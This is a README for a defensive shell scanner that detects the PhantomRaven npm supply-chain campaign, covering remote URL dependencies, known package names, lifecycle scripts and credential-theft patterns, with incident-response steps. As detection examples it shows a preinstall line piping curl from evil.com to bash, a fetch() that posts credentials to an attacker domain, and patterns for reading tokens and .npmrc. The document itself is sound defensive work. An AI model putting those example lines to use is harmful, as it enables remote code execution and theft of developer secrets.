A comprehensive shell-based scanner for detecting PhantomRaven npm supply chain malware and similar threats.
PhantomRaven is a sophisticated npm supply chain attack discovered in October 2025 by Koi Security. The campaign:
- Infected 126 malicious npm packages with over 86,000 downloads
- Stole npm tokens, GitHub credentials, and CI/CD secrets from developers worldwide
- Used Remote Dynamic Dependencies (RDD) to hide malicious code from traditional security scanners
- Remained undetected from August to October 2025
Traditional npm packages specify dependencies like:
"dependencies": {
"express": "^4.18.0"
}PhantomRaven used HTTP URLs instead:
"dependencies": {
"unused-imports": "http://packages.storeartifact.com/npm/unused-imports"
}When installed, npm fetches the malicious package from the attacker's server, completely bypassing security scans. The malicious code never appears in the npm registry.
Most security tools failed to detect PhantomRaven because:
- β They rely on static analysis of the npm registry
- β They don't follow HTTP/HTTPS URLs in dependencies
- β They don't analyze actual package behavior
- β They miss dynamically-fetched payloads
PhantomRaven Hunter catches what others miss by:
- β Detecting Remote Dynamic Dependencies (RDD)
- β Identifying all 126 known malicious packages
- β Analyzing lifecycle scripts for auto-execution
- β Deep-scanning code for credential theft patterns
- β Checking installation timing against attack timeline
- β Smart whitelisting to reduce false positives
# Required
sudo apt install jq # Ubuntu/Debian
brew install jq # macOS
# Verify
jq --version# Clone the repository
git clone https://github.com/dpr1815/phantomraven-hunter.git
cd phantomraven-hunter
# Make executable
chmod +x phantomraven-hunter.sh
# Run scan
./phantomraven-hunter.sh /path/to/your/projects./phantomraven-hunter.sh ~/projectsChecks for:
- Remote Dynamic Dependencies
- Known malicious packages
- Suspicious lifecycle scripts
- Malicious domain references
./phantomraven-hunter.sh --deep ~/projectsAdditional checks:
- Credential theft patterns in code
- Suspicious network calls
- Environment variable harvesting
- Config file access attempts
./phantomraven-hunter.sh --paranoid ~/projectsEverything plus:
- Installation timing analysis (Aug-Oct 2025)
- Package integrity verification
- System compromise indicators
- ~/.gitconfig and ~/.npmrc forensics
./phantomraven-hunter.sh --deep --verbose ~/projectsShows all findings including whitelisted safe packages.
0= Clean (no threats detected)1= CRITICAL (malware detected - take immediate action)2= WARNING (suspicious indicators found - review carefully)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SCAN RESULTS
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Summary:
ββ Remote Dynamic Dependencies: 0
ββ Known Malicious Packages: 0
ββ Suspicious Lifecycle Scripts: 3
ββ Credential Theft Patterns: 0
ββ Suspicious Network Calls: 0
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β No critical threats detected
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π¨ CRITICAL: Remote Dynamic Dependencies:
ββββββββββββββββββββββββββββββββββββββββ
[CRITICAL] unused-imports -> http://packages.storeartifact.com/npm/unused-imports
File: project/package.json
Status: KNOWN_MALICIOUS_DOMAIN
π¨ CRITICAL: MALWARE DETECTED!
IMMEDIATE ACTIONS REQUIRED:
1. DO NOT run npm install
2. Disconnect this machine from network
3. Rotate ALL credentials immediately
- GitHub tokens: https://github.com/settings/tokens
- npm tokens: npm token list
- CI/CD secrets
...
The scanner intelligently searches through:
project/
βββ package.json β RDD & malicious packages
βββ package-lock.json β Timing analysis
βββ node_modules/
β βββ */
β βββ package.json β Scripts & dependencies
β βββ *.js β Deep code analysis (--deep)
βββ ~/.gitconfig β System compromise (--paranoid)
βββ ~/.npmrc β Token exposure (--paranoid)
The Primary Attack Vector
Detects HTTP/HTTPS URLs in dependencies:
β MALICIOUS
"dependencies": {
"pkg": "http://packages.storeartifact.com/malware.tgz"
}
β
SAFE (GitHub - whitelisted)
"dependencies": {
"test262": "https://github.com/tc39/test262#commit-hash"
}All 126 packages from the PhantomRaven campaign:
unused-importseslint-commentstransform-react-remove-prop-typescrowdstrike(fake package, not the real security company!)- See full list
Flags suspicious auto-executing scripts:
β οΈ SUSPICIOUS
"scripts": {
"preinstall": "curl http://evil.com/malware.sh | bash"
}
β
SAFE (esbuild - whitelisted)
"scripts": {
"postinstall": "node install.js"
}Searches for:
process.env.NPM_TOKENprocess.env.GITHUB_TOKEN.gitconfigfile access.npmrcfile accessCI_environment variables
Detects suspicious outbound connections:
β οΈ FLAGGED
fetch('http://packages.storeartifact.com/exfil', {
method: 'POST',
body: JSON.stringify(credentials)
});Checks if packages were installed during PhantomRaven's active period:
- August 1, 2025 - October 31, 2025
- Checks
~/.gitconfigmodification time - Validates
~/.npmrcfor exposed tokens - Scans environment for leaked secrets
for dir in ~/projects/*/; do
echo "Scanning $dir"
./phantomraven-hunter.sh --deep "$dir"
done./phantomraven-hunter.sh --paranoid ~/projects 2>&1 | tee report.txt# .github/workflows/security.yml
name: PhantomRaven Scan
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install jq
run: sudo apt-get install -y jq
- name: Run PhantomRaven Hunter
run: |
chmod +x phantomraven-hunter.sh
./phantomraven-hunter.sh --deep .#!/bin/bash
# .git/hooks/pre-commit
if [ -f "package.json" ]; then
./phantomraven-hunter.sh --deep . || exit 1
ficd tests/
./run_tests.sh-
Immediate Isolation
# Disconnect from network sudo ip link set eth0 down
-
Check What Was Stolen
cat ~/.gitconfig cat ~/.npmrc env | grep TOKEN
-
Rotate ALL Credentials
- GitHub: https://github.com/settings/tokens
- npm:
npm token list&&npm token revoke <id> - CI/CD: Update all secrets in GitHub Actions, GitLab CI, etc.
-
Clean Rebuild
# Remove all node_modules find ~/projects -name "node_modules" -type d -exec rm -rf {} + # Remove lock files find ~/projects -name "package-lock.json" -delete # Reinstall safely npm install --ignore-scripts
# 1. Use lock files with integrity checks
npm ci # instead of npm install
# 2. Disable auto-script execution
echo "ignore-scripts=true" >> ~/.npmrc
# 3. Regular scanning
./phantomraven-hunter.sh --deep ~/projects
# 4. Audit before adding packages
npm audit
npm view <package-name> dependencies
# 5. Verify AI-suggested packages
# Never blindly trust GitHub Copilot or ChatGPT package recommendationsThe scanner intelligently whitelists known-safe patterns:
github.comgitlab.combitbucket.org
esbuild- JavaScript bundler@swc/core- TypeScript/JavaScript compilercypress,puppeteer,playwright- Testing frameworkselectron- Desktop app framework
Example from a real scan:
Package: test262
URL: https://github.com/tc39/test262#commit-hash
Verdict: β SAFE - GitHub reference from official TC39 JavaScript test suite
Contributions welcome! Please:
- Fork the repository
- Create a feature branch
- Add tests for new detections
- Submit a pull request
Edit the arrays in phantomraven-hunter.sh:
MALICIOUS_DOMAINS=(
"packages.storeartifact.com"
"your-new-domain.com" # Add here
)
MALICIOUS_PACKAGES=(
"unused-imports"
"your-new-package" # Add here
)MIT License - See LICENSE file
This tool is provided for defensive security purposes only. Use responsibly and in accordance with applicable laws and regulations. The authors are not responsible for misuse or damage caused by this tool.
- Koi Security - For discovering PhantomRaven and publishing detailed IOCs
- Oren Yomtov - Lead researcher on the PhantomRaven campaign
- npm Security Team - For rapid response in removing malicious packages
- Open Source Community - For maintaining secure package ecosystems
- Issues: GitHub Issues
- Security: Report vulnerabilities privately to [security@email.com]
Stay safe! Scan often. Trust but verify. π‘οΈ
Last updated: November 2025